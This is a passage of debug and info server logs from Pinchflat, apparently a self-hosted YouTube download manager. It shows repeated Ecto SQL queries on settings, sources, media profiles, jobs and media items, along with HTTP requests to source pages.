FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [36, "executing", "available", "scheduled", "retryable"] 06:46:02.527 [debug] QUERY OK source="tasks" db=3.9ms queue=1.8ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [36, "executing", "available", "scheduled", "retryable"] 06:46:02.528 [debug] QUERY OK source="settings" db=3.9ms queue=1.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.529 [debug] QUERY OK source="tasks" db=2.8ms queue=1.5ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 06:46:02.529 [debug] QUERY OK source="media_profiles" db=6.9ms queue=1.4ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.530 [debug] QUERY OK source="settings" db=1.9ms queue=3.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.531 [debug] QUERY OK source="oban_jobs" db=2.9ms queue=1.6ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 06:46:02.533 [debug] QUERY OK source="settings" db=3.5ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.534 [debug] QUERY OK source="oban_jobs" db=4.4ms queue=1.7ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7275] 06:46:02.535 [debug] QUERY OK source="tasks" db=4.0ms queue=1.1ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [36, "executing", "available", "scheduled", "retryable"] 06:46:02.535 [debug] QUERY OK source="oban_jobs" db=5.1ms queue=2.1ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7275] 06:46:02.535 [debug] QUERY OK source="oban_jobs" db=5.1ms queue=1.0ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 06:46:02.536 [debug] QUERY OK source="settings" db=1.0ms queue=3.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.536 [debug] QUERY OK source="oban_jobs" db=0.9ms queue=0.1ms idle=0.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7275] 06:46:02.537 [debug] QUERY OK source="settings" db=3.1ms queue=4.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.538 [debug] QUERY OK source="settings" db=1.8ms queue=1.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.538 [debug] QUERY OK source="settings" db=2.4ms queue=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.539 [debug] QUERY OK source="settings" db=2.5ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.540 [debug] QUERY OK source="settings" db=1.1ms queue=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.541 [debug] QUERY OK source="settings" db=3.5ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.541 [debug] QUERY OK source="settings" db=3.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.542 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.542 [debug] QUERY OK source="settings" db=2.0ms queue=1.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.543 [debug] QUERY OK source="settings" db=3.8ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.543 [debug] QUERY OK source="settings" db=4.1ms queue=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.544 [debug] QUERY OK source="settings" db=1.3ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.544 [debug] QUERY OK source="settings" db=1.6ms queue=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.546 [info] GET /sources/35 06:46:02.546 [info] Sent 200 in 38ms 06:46:02.546 [info] GET /sources/30/edit 06:46:02.546 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 06:46:02.547 [debug] QUERY OK source="settings" db=1.2ms queue=0.6ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.547 [debug] QUERY OK source="settings" db=1.9ms queue=1.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.547 [info] GET /sources/31/ 06:46:02.548 [info] GET /sources/31/ 06:46:02.548 [info] GET /sources/31/edit 06:46:02.547 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 06:46:02.549 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 06:46:02.549 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 06:46:02.549 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 06:46:02.551 [debug] QUERY OK source="sources" db=4.6ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.553 [debug] QUERY OK source="settings" db=6.6ms queue=0.4ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.554 [debug] QUERY OK source="sources" db=4.4ms queue=0.3ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:46:02.555 [debug] QUERY OK source="sources" db=5.2ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:46:02.555 [debug] QUERY OK source="sources" db=5.7ms queue=1.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 06:46:02.555 [debug] QUERY OK source="sources" db=3.8ms queue=1.5ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:02.556 [info] Sent 200 in 47ms 06:46:02.559 [debug] QUERY OK source="sources" db=5.3ms queue=3.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:02.559 [debug] QUERY OK source="sources" db=4.2ms queue=1.8ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.560 [debug] QUERY OK source="sources" db=4.1ms queue=1.3ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 06:46:02.560 [debug] QUERY OK source="sources" db=5.2ms queue=4.5ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:02.560 [debug] QUERY OK source="media_items" db=5.6ms queue=2.4ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 06:46:02.565 [debug] QUERY OK source="media_profiles" db=4.8ms queue=3.8ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:46:02.565 [debug] QUERY OK source="media_profiles" db=5.3ms queue=4.1ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.566 [debug] QUERY OK source="sources" db=5.8ms queue=1.7ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 06:46:02.568 [debug] QUERY OK source="media_profiles" db=3.1ms queue=5.5ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.568 [debug] QUERY OK source="media_items" db=8.7ms queue=4.4ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 06:46:02.569 [debug] QUERY OK source="media_items" db=3.0ms queue=1.9ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 06:46:02.570 [debug] QUERY OK source="media_profiles" db=10.8ms queue=3.8ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:46:02.572 [debug] QUERY OK source="settings" db=2.4ms queue=3.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.573 [debug] QUERY OK source="tasks" db=3.0ms queue=4.2ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [35, "executing", "available", "scheduled", "retryable"] 06:46:02.575 [debug] QUERY OK source="media_items" db=7.8ms queue=3.7ms idle=0.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 06:46:02.575 [debug] QUERY OK source="media_profiles" db=7.1ms queue=5.2ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.576 [debug] QUERY OK source="tasks" db=2.5ms queue=4.4ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", 